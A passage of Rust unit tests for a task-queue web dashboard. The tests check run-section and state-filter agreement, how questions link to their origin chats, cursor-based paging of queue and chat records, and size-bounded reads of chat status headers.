26264    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26265    /// a handful of (waiting, status) shapes standing in for the run
26266    /// lifecycle, because `cargo test` cannot execute the front end.
26267    ///
26268    /// That stand-in list is itself the part that drifted twice in review:
26269    /// once shipped with `waiting: true` paired with a done status the
26270    /// lifecycle cannot produce, then over-corrected into treating every
26271    /// waiting run as never done - which made "Waiting on you" look
26272    /// incompatible with "Done" even for the one real, reachable shape
26273    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26274    /// that combination. This test parses the shapes and the done-rule back
26275    /// out of `APP_JS`, reimplements `runSection` and the five state
26276    /// predicates independently in Rust, and checks the resulting
26277    /// section/filter compatibility table against the lifecycle rules by
26278    /// hand - so either direction of drift fails it again.
26279    #[test]
26280    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26281        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26282        let shapes_body_start =
26283            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26284        let shapes_close = APP_JS[shapes_body_start..]
26285            .find("].map(")
26286            .expect("the shape list is closed by its done-computing .map(...)")
26287            + shapes_body_start;
26288        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26289
26290        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26291        for entry in shapes_src.split('{').skip(1) {
26292            let waiting = entry.contains("waiting: true");
26293            let dead = entry.contains("live: \"dead\"");
26294            let status_at =
26295                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26296            let status_end = entry[status_at..]
26297                .find('"')
26298                .expect("the status string is closed")
26299                + status_at;
26300            let parked = entry.contains("display_status: \"parked\"");
26301            shapes.push((
26302                waiting,
26303                entry[status_at..status_end].to_string(),
26304                dead,
26305                parked,
26306            ));
26307        }
26308        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26309
26310        // The done rule itself (`!["implementing"].includes(shape.status)`),
26311        // read out of the source rather than hardcoded, so a renamed
26312        // in-flight status can't silently make every parsed shape "done".
26313        let done_rule_marker = "done: !";
26314        let done_rule_at = APP_JS[shapes_close..]
26315            .find(done_rule_marker)
26316            .expect("the done rule follows the shape list")
26317            + shapes_close
26318            + done_rule_marker.len();
26319        let includes_at = APP_JS[done_rule_at..]
26320            .find(".includes(shape.status)")
26321            .expect("the done rule ends in .includes(shape.status)")
26322            + done_rule_at;
26323        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26324            .trim()
26325            .trim_start_matches('[')
26326            .trim_end_matches(']')
26327            .split(',')
26328            .map(|s| s.trim().trim_matches('"'))
26329            .filter(|s| !s.is_empty())
26330            .collect();
26331
26332        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26333            .into_iter()
26334            .map(|(waiting, status, dead, parked)| {
26335                let done = !not_done.contains(&status.as_str());
26336                (waiting, status, dead, parked, done)
26337            })
26338            .collect();
26339
26340        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26341        // outright, then merged/ready land, stalled/blocked/failed/
26342        // verified_noop end, and everything else is still in flight.
26343        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26344            if waiting {
26345                return "waiting";
26346            }
26347            if dead
26348                && !parked
26349                && !matches!(
26350                    status,
26351                    "merged"
26352                        | "ready"
26353                        | "stalled"
26354                        | "blocked"
26355                        | "failed"
26356                        | "verified_noop"
26357                        | "superseded"
26358                        | "already_in_base"
26359                )
26360            {
26361                return "stale";
26362            }
26363            match status {
26364                "merged" | "ready" => "landed",
26365                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26366                | "already_in_base" => "ended",
26367                _ => "flight",
26368            }
26369        }
26370
26371        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26372        // way.
26373        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26374            match filter_key {
26375                "active" => !done,
26376                "flight" => !done && !waiting && !dead,
26377                "stale" => !done && !waiting && dead,
26378                "waiting" => waiting,
26379                "done" => done,
26380                "all" => true,
26381                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26382            }
26383        }
26384
26385        let compatible = |section: &str, filter_key: &str| {
26386            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26387                run_section(*waiting, status, *dead, *parked) == section
26388                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26389            })
26390        };
26391
26392        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26393        // (active, flight, stale, waiting, done, all) - hand-derived from the
26394        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26395        // currently contains.
26396        let expected = [
26397            ("waiting", [true, false, false, true, true, true]),
26398            ("stale", [true, false, true, false, false, true]),
26399            ("flight", [true, true, false, false, false, true]),
26400            ("landed", [false, false, false, false, true, true]),
26401            ("ended", [false, false, false, false, true, true]),
26402        ];
26403        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26404
26405        for (section, wants) in expected {
26406            for (filter_key, want) in filter_keys.iter().zip(wants) {
26407                assert_eq!(
26408                    compatible(section, filter_key),
26409                    want,
26410                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26411                );
26412            }
26413        }
26414
26415        // The compatibility check exists only to be acted on: both pickers
26416        // must actually consult it rather than just render its answer.
26417        assert!(
26418            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26419        );
26420        assert!(APP_JS.contains(
26421            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26422        ));
26423        assert!(APP_JS.contains(
26424            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26425        ));
26426    }
26427
26428    #[tokio::test]
26429    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26430        // An operator-named directory - git checkout or not - is never
26431        // second-guessed, even when it does not exist at all: only the
26432        // flag's own unmodified `.` default is ever eligible for discovery.
26433        let dir = tempfile::tempdir().expect("tempdir");
26434        let explicit = dir.path().join("not-a-checkout");
26435        std::fs::create_dir_all(&explicit).expect("create dir");
26436        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26437
26438        let missing = dir.path().join("does-not-exist-at-all");
26439        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26440    }
26441
26442    #[test]
26443    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26444        assert!(APP_JS.contains("function statsDonutArcs"));
26445        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26446        // A bucket click filters by the statuses src/stats.rs counts in it.
26447        assert!(APP_JS.contains("function statusInBucket"));
26448        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26449        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26450        let buckets = [
26451            "merged",
26452            "ready",
26453            "in_progress",
26454            "blocked",
26455            "failed",
26456            "verified_noop",
26457            "superseded",
26458            "stalled",
26459        ];
26460        for key in buckets {
26461            let var = format!("--verdict-{key}:");
26462            // Light, OS-dark and pinned-dark blocks each define it.
26463            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26464            assert!(
26465                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26466                "{key}"
26467            );
26468        }
26469    }
26470
26471    #[tokio::test]
26472    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26473        let dir = tempfile::tempdir().expect("tempdir");
26474        let queue = Queue::at(dir.path().join("queue"));
26475        let talks = Talks::at(dir.path().join("talks"));
26476        std::fs::create_dir_all(queue.root()).unwrap();
26477        std::fs::create_dir_all(talks.root()).unwrap();
26478
26479        // Put a corrupt json file in both stores
26480        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26481        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26482
26483        // Valid task and talk
26484        let mut task = Task::new(
26485            "title".into(),
26486            "inst".into(),
26487            PathBuf::from("/repo"),
26488            Source::Human,
26489        );
26490        task.id = "20261019-123456-abcd".into();
26491        // Write manually so it's a valid file
26492        std::fs::write(
26493            queue.path_of(&task.id),
26494            serde_json::to_string(&task).unwrap(),
26495        )
26496        .unwrap();
26497
26498        let talk_id = "20261019-234567-cdef";
26499        seed_talk_at(&talks, talk_id, "open");
26500
26501        // Exact match should succeed without failing on the corrupt json file
26502        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26503        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26504
26505        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26506        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26507        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26508    }
26509
26510    #[tokio::test]
26511    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26512        let home = tempfile::tempdir().unwrap();
26513        let ui = delta_test_ui(home.path());
26514        // A full history traversal would fail even with no questions.
26515        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26516        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26517        assert!(
26518            questions_list(State(ui.clone()))
26519                .await
26520                .unwrap()
26521                .0
26522                .is_empty()
26523        );
26524        assert!(
26525            question_origins(State(ui.clone()))
26526                .await
26527                .unwrap()
26528                .0
26529                .is_empty()
26530        );
26531        let mut question = Question::new(
26532            "run-history".into(),
26533            "review".into(),
26534            "seat".into(),
26535            "Useful question".into(),
26536            "Useful detail".into(),
26537            vec![],
26538        );
26539        ui.questions.put(&mut question).unwrap();
26540        let core = questions_core(State(ui.clone())).await.unwrap().0;
26541        assert_eq!(core.len(), 1);
26542        assert_eq!(core[0].question.summary, "Useful question");
26543        assert!(!core[0].can_consult_chat);
26544        assert!(core[0].origin_chat.is_none());
26545        assert_eq!(core[0].record_revision, question_record_revision(&question));
26546        assert!(question_origins(State(ui.clone())).await.is_err());
26547        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26548    }
26549
26550    #[tokio::test]
26551    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26552        let home = tempfile::tempdir().unwrap();
26553        let ui = delta_test_ui(home.path());
26554        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26555        let mut parent = Task::new(
26556            "parent".into(),
26557            "body".into(),
26558            PathBuf::from("/repo"),
26559            Source::Agent {
26560                run: chat.clone(),
26561                node: crate::queue::CHAT_NODE.into(),
26562            },
26563        );
26564        parent.id = "parent-task".into();
26565        parent.runs = vec!["parent-run".into()];
26566        ui.queue.put(&mut parent).unwrap();
26567        let mut previous = parent;
26568        for generation in 1..=2 {
26569            let mut child = Task::new(
26570                "child".into(),
26571                "body".into(),
26572                PathBuf::from("/repo"),
26573                Source::Human,
26574            );
26575            child.id = format!("child-task-{generation}");
26576            child.runs = vec![format!("child-run-{generation}")];
26577            child.followup = Some(crate::queue::FollowUp {
26578                origin_task: Some(previous.id.clone()),
26579                run: previous.runs[0].clone(),
26580                pr: String::new(),
26581                findings: vec![],
26582                generation,
26583            });
26584            ui.queue.put(&mut child).unwrap();
26585            previous = child;
26586        }
26587        // A run may have the same spelling as another task's id; its owner
26588        // must not override a typed task reference.
26589        let mut collision = Task::new(
26590            "collision".into(),
26591            String::new(),
26592            PathBuf::from("/repo"),
26593            Source::Human,
26594        );
26595        collision.id = "collision-task".into();
26596        collision.runs = vec![previous.id.clone()];
26597        ui.queue.put(&mut collision).unwrap();
26598        let mut questions = Vec::new();
26599        for (node, reference, expected, eligible) in [
26600            (crate::triage::NODE, previous.id.as_str(), true, false),
26601            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26602            ("review", previous.runs[0].as_str(), true, true),
26603            (
26604                crate::bump::NOTICE_NODE,
26605                previous.runs[0].as_str(),
26606                true,
26607                false,
26608            ),
26609            // Identical text in the wrong reference namespace is not evidence.
26610            ("review", previous.id.as_str(), false, false),
26611            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26612            ("review", "unrelated", false, false),
26613        ] {
26614            let mut q = Question::new(
26615                reference.into(),
26616                node.into(),
26617                "seat".into(),
26618                "Question".into(),
26619                String::new(),
26620                vec![],
26621            );
26622            ui.questions.put(&mut q).unwrap();
26623            questions.push((q, expected, eligible));
26624        }
26625        for (node, reference, associated, eligible) in [
26626            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26627            (
26628                crate::reconcile::NODE,
26629                previous.runs[0].as_str(),
26630                false,
26631                true,
26632            ),
26633            ("implement", previous.id.as_str(), false, false),
26634        ] {
26635            let mut q = Question::new(
26636                reference.into(),
26637                node.into(),
26638                crate::reconcile::SEAT.into(),
26639                "Reconcile".into(),
26640                String::new(),
26641                vec![],
26642            );
26643            ui.questions.put(&mut q).unwrap();
26644            questions.push((q, associated, eligible));
26645        }
26646        let mut release = Question::new(
26647            "release-record".into(),
26648            crate::bump::NOTICE_NODE.into(),
26649            "release-watch".into(),
26650            "Release".into(),
26651            String::new(),
26652            vec![],
26653        );
26654        ui.questions.put(&mut release).unwrap();
26655        let watch = crate::release_watch::WatchState {
26656            question: Some(release.id.clone()),
26657            run: Some(previous.runs[0].clone()),
26658            held_task: Some(previous.id.clone()),
26659            ..Default::default()
26660        };
26661        let watch_dir = home.path().join("release-watch");
26662        std::fs::create_dir_all(&watch_dir).unwrap();
26663        let watch_path = watch_dir.join("watch.json");
26664        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26665        // Ordinary questions and bump notices do not need watch-store I/O.
26666        for batch in [
26667            Vec::new(),
26668            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26669        ] {
26670            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26671            assert!(watches.is_empty());
26672        }
26673        questions.push((release.clone(), true, false));
26674
26675        let views = questions_list(State(ui.clone())).await.unwrap().0;
26676        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26677        for (q, associated, eligible) in &questions {
26678            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26679            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26680            let expected = associated.then_some(chat.as_str());
26681            assert_eq!(
26682                view.origin_chat.as_deref(),
26683                expected,
26684                "{} {}",
26685                q.node,
26686                q.run
26687            );
26688            assert_eq!(origin.origin_chat.as_deref(), expected);
26689            assert_eq!(view.origin_chat_closed, *associated);
26690            assert_eq!(origin.origin_chat_closed, *associated);
26691            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
26692            assert_eq!(origin.can_consult_chat, *eligible);
26693        }
26694        // Either saved link independently recovers a release question's owner.
26695        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
26696            let link = crate::release_watch::WatchState {
26697                run,
26698                held_task,
26699                ..watch.clone()
26700            };
26701            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
26702            let (tasks, talks, watches) =
26703                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26704            assert_eq!(
26705                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26706                    .unwrap()
26707                    .id,
26708                chat,
26709            );
26710            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
26711        }
26712        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26713        // Even identical duplicate records are ambiguous: ignore their links.
26714        let duplicate_path = watch_dir.join("duplicate.json");
26715        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26716        let (tasks, talks, watches) =
26717            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26718        assert!(
26719            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26720                .is_none()
26721        );
26722        std::fs::remove_file(duplicate_path).unwrap();
26723        // Another explicit owner is a conflict even if it has no chat.
26724        let mut unrelated = Task::new(
26725            "other".into(),
26726            String::new(),
26727            PathBuf::from("/repo"),
26728            Source::Human,
26729        );
26730        unrelated.id = "unrelated-task".into();
26731        ui.queue.put(&mut unrelated).unwrap();
26732        let mut conflicting = watch.clone();
26733        conflicting.held_task = Some(unrelated.id);
26734        std::fs::write(
26735            watch_dir.join("conflict.json"),
26736            serde_json::to_vec(&conflicting).unwrap(),
26737        )
26738        .unwrap();
26739        let (tasks, talks, watches) =
26740            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26741        assert!(
26742            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26743                .is_none()
26744        );
26745        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
26746        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
26747        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
26748            assert!(origin.origin_chat.is_none());
26749            assert!(!origin.origin_chat_closed);
26750        }
26751    }
26752
26753    #[test]
26754    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
26755        let home = tempfile::tempdir().unwrap();
26756        let ui = delta_test_ui(home.path());
26757        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
26758        for i in 0..1000 {
26759            let mut task = Task::new(
26760                "unrelated".into(),
26761                "instruction ".repeat(256),
26762                PathBuf::from("/repo"),
26763                Source::Human,
26764            );
26765            task.id = format!("history-{i:04}");
26766            ui.queue.put(&mut task).unwrap();
26767            let id = seed_talk_at(&ui.talks, &task.id, "open");
26768            let mut talk = ui.talks.get(&id).unwrap();
26769            talk.pending = "history ".repeat(256);
26770            ui.talks.put(&mut talk).unwrap();
26771        }
26772        let mut parent = Task::new(
26773            "parent".into(),
26774            "body".into(),
26775            PathBuf::from("/repo"),
26776            Source::Agent {
26777                run: chat_id.clone(),
26778                node: crate::queue::CHAT_NODE.into(),
26779            },
26780        );
26781        parent.id = "task-parent".into();
26782        parent.runs = vec!["run-parent".into()];
26783        ui.queue.put(&mut parent).unwrap();
26784        let mut child = Task::new(
26785            "child".into(),
26786            "body".into(),
26787            PathBuf::from("/repo"),
26788            Source::Human,
26789        );
26790        child.id = "task-child".into();
26791        child.runs = vec!["run-child".into()];
26792        child.followup = Some(crate::queue::FollowUp {
26793            run: "run-parent".into(),
26794            origin_task: Some(parent.id.clone()),
26795            pr: "https://example.invalid/pr/1".into(),
26796            findings: vec![],
26797            generation: 1,
26798        });
26799        ui.queue.put(&mut child).unwrap();
26800        let mut question = Question::new(
26801            child.id.clone(),
26802            crate::conduct::NODE.into(),
26803            "seat".into(),
26804            "Continue?".into(),
26805            String::new(),
26806            vec![],
26807        );
26808        let (tasks, talks, _watches) =
26809            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26810        assert_eq!(tasks.len(), 2);
26811        assert_eq!(talks.len(), 1);
26812        assert_eq!(
26813            ui.monitor.queue_index.lock().unwrap().reparsed,
26814            0,
26815            "exact ancestry bypasses the index"
26816        );
26817        assert_eq!(
26818            crate::consult::origin_talk(&tasks, &talks, &question)
26819                .unwrap()
26820                .id,
26821            chat_id
26822        );
26823        question.run = "run-child".into();
26824        question.node = "review".into();
26825        for origin_task in [Some(parent.id.clone()), None] {
26826            child.followup.as_mut().unwrap().origin_task = origin_task;
26827            ui.queue.put(&mut child).unwrap();
26828            let (tasks, talks, _watches) =
26829                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26830            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26831            let expected =
26832                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26833                    .unwrap();
26834            assert_eq!(actual.id, expected.id);
26835            assert!(!actual.status.open());
26836            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26837            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26838            // Without Unix file identity, every readable record must be
26839            // reparsed to detect same-size, same-mtime replacements safely.
26840            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26841            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26842        }
26843        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26844        ui.queue.put(&mut child).unwrap();
26845        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26846        let (tasks, talks, _watches) =
26847            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26848        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26849        child.origin_chat = Some(chat_id.clone());
26850        ui.queue.put(&mut child).unwrap();
26851        let (tasks, talks, _watches) =
26852            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26853        assert_eq!(
26854            crate::consult::origin_talk(&tasks, &talks, &question)
26855                .unwrap()
26856                .id,
26857            chat_id
26858        );
26859        let revision = question_record_revision(&question);
26860        question.abandon("settled elsewhere");
26861        assert_ne!(revision, question_record_revision(&question));
26862        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26863        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26864        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26865        let (tasks, talks, _watches) =
26866            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26867        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26868    }
26869
26870    #[test]
26871    fn list_cursors_freeze_membership_and_expire_explicitly() {
26872        let home = tempfile::tempdir().unwrap();
26873        let ui = delta_test_ui(home.path());
26874        std::fs::create_dir_all(ui.queue.root()).unwrap();
26875        for i in 0..40 {
26876            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26877        }
26878        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26879        assert_eq!(first.len(), STORE_PAGE_SIZE);
26880        let cursor = cursor.unwrap();
26881        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26882        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26883        let (second, _) = page_ids(
26884            &ui,
26885            false,
26886            PageQuery {
26887                before: Some(cursor.clone()),
26888            },
26889        )
26890        .unwrap();
26891        assert_eq!(second[0], "record-0023");
26892        assert!(second.iter().all(|id| !first.contains(id)));
26893        assert!(
26894            page_ids(
26895                &ui,
26896                true,
26897                PageQuery {
26898                    before: Some(cursor.clone())
26899                }
26900            )
26901            .is_err()
26902        );
26903        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26904        assert_eq!(fresh[0], "record-9999");
26905        ui.monitor.list_walks.lock().unwrap().clear();
26906        assert!(
26907            page_ids(
26908                &ui,
26909                false,
26910                PageQuery {
26911                    before: Some(cursor)
26912                }
26913            )
26914            .is_err()
26915        );
26916    }
26917
26918    #[tokio::test]
26919    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26920        let home = tempfile::tempdir().unwrap();
26921        let ui = delta_test_ui(home.path());
26922        // Every closed conversation is newer by ID than every open conversation.
26923        for i in 0..23 {
26924            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26925        }
26926        for i in 0..45 {
26927            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26928        }
26929        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26930        let first = talks_page(
26931            State(ui.clone()),
26932            Query(PageQuery::default()),
26933            header::HeaderMap::new(),
26934        )
26935        .await
26936        .unwrap()
26937        .0;
26938        assert_eq!(
26939            first.rows.iter().filter(|row| row.status.open()).count(),
26940            23
26941        );
26942        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26943        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26944        let parsed = ui
26945            .monitor
26946            .talk_parses
26947            .load(std::sync::atomic::Ordering::Relaxed);
26948        assert_eq!(
26949            parsed,
26950            first.rows.len(),
26951            "closed bodies outside this page are not restored"
26952        );
26953        let fresh = talks_page(
26954            State(ui.clone()),
26955            Query(PageQuery::default()),
26956            header::HeaderMap::new(),
26957        )
26958        .await
26959        .unwrap()
26960        .0;
26961        assert_eq!(fresh.rows.len(), first.rows.len());
26962        assert_eq!(
26963            ui.monitor
26964                .talk_parses
26965                .load(std::sync::atomic::Ordering::Relaxed),
26966            parsed
26967        );
26968        let mut seen: std::collections::HashSet<_> =
26969            first.rows.iter().map(|row| row.id.clone()).collect();
26970        // Status changes keep their original membership position until refresh.
26971        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26972        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26973        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26974        let mut next = first.next;
26975        while let Some(cursor) = next {
26976            let page = talks_page(
26977                State(ui.clone()),
26978                Query(PageQuery {
26979                    before: Some(cursor),
26980                }),
26981                header::HeaderMap::new(),
26982            )
26983            .await
26984            .unwrap()
26985            .0;
26986            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26987            for row in page.rows {
26988                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26989            }
26990            next = page.next;
26991        }
26992        let expected: HashSet<_> = (0..23)
26993            .map(|i| format!("20260101-000000-{i:03}"))
26994            .chain(
26995                (0..45)
26996                    .filter(|i| *i != 1)
26997                    .map(|i| format!("20261019-000000-{i:03}")),
26998            )
26999            .collect();
27000        assert_eq!(
27001            seen, expected,
27002            "the cursor walk must return every surviving ID"
27003        );
27004        let refreshed = talks_page(
27005            State(ui.clone()),
27006            Query(PageQuery::default()),
27007            header::HeaderMap::new(),
27008        )
27009        .await
27010        .unwrap()
27011        .0;
27012        assert_eq!(
27013            refreshed
27014                .rows
27015                .iter()
27016                .filter(|row| row.status.open())
27017                .count(),
27018            23
27019        );
27020        assert!(
27021            refreshed
27022                .rows
27023                .iter()
27024                .any(|row| row.id == "20261019-000000-000")
27025        );
27026        assert!(
27027            !refreshed
27028                .rows
27029                .iter()
27030                .any(|row| row.id == "20260101-000000-000")
27031        );
27032    }
27033
27034    #[test]
27035    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27036        let home = tempfile::tempdir().unwrap();
27037        let ui = delta_test_ui(home.path());
27038        for i in 0..STORE_PAGE_SIZE + 5 {
27039            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27040        }
27041        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27042        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27043        assert!(next.is_none());
27044    }
27045
27046    #[test]
27047    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27048        struct Counted<R> {
27049            inner: R,
27050            bytes: usize,
27051        }
27052        impl<R: std::io::Read> std::io::Read for Counted<R> {
27053            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27054                let n = self.inner.read(buf)?;
27055                self.bytes += n;
27056                Ok(n)
27057            }
27058        }
27059        let home = tempfile::tempdir().unwrap();
27060        let ui = delta_test_ui(home.path());
27061        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27062        let mut chat = ui.talks.get(&id).unwrap();
27063        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27064            chat.turns = vec![
27065                serde_json::from_value(serde_json::json!({
27066                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27067                }))
27068                .unwrap(),
27069            ];
27070            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27071                chat.status = status;
27072                // Exercise the actual on-disk serializer, including its field order.
27073                let body = serde_json::to_vec_pretty(&chat).unwrap();
27074                let mut reader = Counted {
27075                    inner: body.as_slice(),
27076                    bytes: 0,
27077                };
27078                assert_eq!(read_talk_status(&mut reader), Some(status));
27079                assert!(
27080                    reader.bytes <= 1024,
27081                    "header classification read {} bytes",
27082                    reader.bytes
27083                );
27084            }
27085        }
27086        // Noncanonical field order must neither traverse a transcript nor hide
27087        // an open row. Its real status is validated by the ordinary row reader.
27088        let noncanonical = format!(
27089            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27090            "x".repeat(1024 * 1024)
27091        );
27092        let mut reader = Counted {
27093            inner: noncanonical.as_bytes(),
27094            bytes: 0,
27095        };
27096        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27097        assert!(reader.bytes <= 1024);
27098        let oversized = format!(
27099            r#"{{"agent":"{}","status":"open"}}"#,
27100            "x".repeat(128 * 1024)
27101        );
27102        let mut reader = Counted {
27103            inner: oversized.as_bytes(),
27104            bytes: 0,
27105        };
27106        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27107        assert!(reader.bytes <= 64 * 1024);
27108    }
27109
27110    #[test]
27111    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27112        let home = tempfile::tempdir().unwrap();
27113        let ui = delta_test_ui(home.path());
27114        seed_talk_at(&ui.talks, "header-chat", "open");
27115        std::fs::create_dir_all(ui.queue.root()).unwrap();
27116        let (started, ready) = std::sync::mpsc::channel();
27117        let (release, wait) = std::sync::mpsc::channel();
27118        let chat_ui = ui.clone();
27119        let scan = std::thread::spawn(move || {
27120            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27121                started.send(()).unwrap();
27122                wait.recv().unwrap();
27123                open_talk_ids(ui, ids)
27124            })
27125            .unwrap()
27126        });
27127        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27128        let (finished, result) = std::sync::mpsc::channel();
27129        let queue = std::thread::spawn(move || {
27130            finished
27131                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27132                .unwrap();
27133        });
27134        let completed = result.recv_timeout(Duration::from_secs(2));
27135        // Release and join both workers even if the regression returns.
27136        release.send(()).unwrap();
27137        scan.join().unwrap();
27138        queue.join().unwrap();
27139        assert!(
27140            completed.unwrap(),
27141            "queue paging must not wait for chat header I/O"
27142        );
27143    }
27144
27145    #[test]
27146    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27147        let home = tempfile::tempdir().unwrap();
27148        let ui = delta_test_ui(home.path());
